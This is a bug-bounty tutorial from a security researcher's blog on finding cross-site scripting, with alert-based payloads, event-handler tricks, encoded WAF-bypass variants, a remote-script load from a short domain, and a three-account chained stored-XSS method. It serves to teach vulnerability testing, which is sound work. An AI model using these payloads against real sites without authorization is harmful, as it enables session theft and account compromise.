@zseano
UK Security Researcher



A site containing various blog posts, tutorials, tools and information regarding working with me.

@zseano
UK Security Researcher



A site containing various blog posts, tutorials, tools and information regarding working with me.



Tutorials Blog Posts Tools Contact Information



Cross Site Scripting (XSS) - The famous alert

Before we begin: If you don't already I highly recommend checking out BruteLogic's Blog for great tutorials and challenges based around XSS. You can always follow him aswell @brutelogic.

Now, let's begin. XSS is usually the most common and also the most easiest type of vulnerability to find, but what happens when WAF's and other filters are in place stopping you?

Looking for XSS is simple: check every parameter. If we have GET/POST /search.php?q=zseano, then testing the ?q= param with "<script>alert(0)</script> would the first step to looking for XSS. Now we check the response and go from there.

So we've got the basics down with XSS so now let's discuss different scenarios of common problems that occur when testing for XSS..


The problem: The payload "><script>alert(0)</script> is echo'd in a SCRIPT tag but is replaced to "><script>alert(0)<\/script>. We can't break out of the script tag with ">, and we can't end the script tag because </script> is replaced to <\/script>. What can we do?

The solution:Aslong as " isn't replaced to \" or %22, you should be able to use some of these payloads: "-alert(0)-", ";alert(0);//,'-alert(0)-', "+alert(0)+", ");alert(0);//.

You get the idea. Aslong as the characters " ; ) } are not filtered, you can use valid JS in order to end things like functions{} and get your javascript to execute.



The problem: The response only contains part of the payload, for example "><script>alert(0)</script> only returns "><script>.

The solution: First things first, we know they don't filter XSS here, however this can be quite tricky to bypass as it all depends on where it is returned in the DOM. Below is an experience I had to give you an idea as to what to try:

I was able to signup using XSS in my first and last name and whenever I commented on a post my name would cause the HTML to be rendered weird because of the random script tag in my name. I was able to chain XSS here by using 3 accounts with the following names:

~Account one: <script>/* << this starts a script tag and multi-comments out everything below.
~Account two: can be anything.
~Account three: /*</script> << this ends the multi comment tag and also the script tag!

So now, account 3 posts first (since newest comment is at top). Now account two posts the javascript to be executed by posting the following comment: */ alert(0) /*. Now account one comments, and in turn starts the script tag, comments out everything until it gets to my comment.. executes the "0", then comments out again until it gets to the third account which ends the script tag. There we have 3 chained payloads to achieve stored XSS and a nice payout :D

The general rule when your payload is truncated is to use things like 2 letter domains (xx.xx) and this payload <script/src=//xx.xx>, or using a method like above to chain multiple payloads.



The problem: The payload "><script>alert(0)</script> only returns "alert(0). and strips everything else.

The solution:We don't always need a script tag to get XSS. As most researchers know we can use any of the following payloads: "onfocus="alert(0)" k=", "onmouseover=alert(0), "onmousenter="alert(0)" k=", etc. You can find a list of event handlers from this page.

One common problem researchers find is when on{} is blacklisted/filtered. It all depends on where it is reflected but I find trying the payload onxss= can determine if they are filtering on*, or if just something like onfocus= is blacklisted.

For the first one I recommend trying things like on%0dmouseover= (you can also use %09, %0C, %00 here), onmouseover%3D, onmouseover=alert(0)"= (I had an experience where a WAF would allow for anything aslong as the payload ended in =).

However, if it's the latter then I recommend running through the list above. (here for you lazy people).



Methods for bypassing filters

The last peice of advice i'd like to give researchers faced with a filter/waf when hunting for XSS is to remember the WAF might just be running on a blacklist and by using things like "%0d" here: <svg%0donload=prompt(1)> can sometimes confuse it, and render your XSS. Below are some payloads i've used in the past:

There is probably some stuff i've missed and will update this post if I can think of more. As always, tweet me with feedback!